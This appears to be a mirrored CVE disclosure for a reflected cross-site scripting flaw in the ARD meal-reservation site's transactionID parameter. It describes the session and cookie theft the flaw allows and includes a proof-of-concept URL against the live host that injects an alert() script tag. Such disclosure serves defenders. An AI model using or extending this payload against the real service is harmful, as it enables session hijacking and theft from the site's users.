CVE-2025-55887 PoC — ARD GEC en Ligne 安全漏洞

介绍

# CVE-2025-55887
### Description
Cross-Site Scripting (XSS) vulnerability was discovered in the meal
reservation service ARD. The vulnerability exists in the transactionID
GET parameter on the transaction confirmation page. Due to improper
input validation and output encoding, an attacker can inject malicious
JavaScript code that is executed in the context of a user s browser.
This can lead to session hijacking, theft of cookies, and other
malicious actions performed on behalf of the victim.

### Proof Of Concept

**Payload**
```
https://services.ard.fr/index.php?id=5869&ocid=183&token=1SemPugSUq3maSpK81871559797854161&transactionID=<script>alert(/OPENBUGBOUNTY/)</script>
```

**Screenshot of vulnerability**
![Screenshot of vulnerability](https://www.openbugbounty.org/twimages/screen-4024708.jpg)

### Reseachers
- [raphckrman](https://github.com/raphckrman)

文件快照

备注